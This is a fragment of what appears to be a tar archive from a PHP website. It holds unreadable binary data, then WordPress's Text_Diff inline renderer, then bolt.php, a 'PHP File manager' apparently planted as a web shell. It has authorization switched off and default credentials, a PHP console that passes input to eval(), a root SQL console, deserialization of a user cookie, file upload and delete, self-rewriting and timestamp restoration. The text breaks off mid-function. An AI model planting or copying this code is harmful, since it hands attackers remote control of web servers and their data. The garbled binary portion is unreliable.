|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
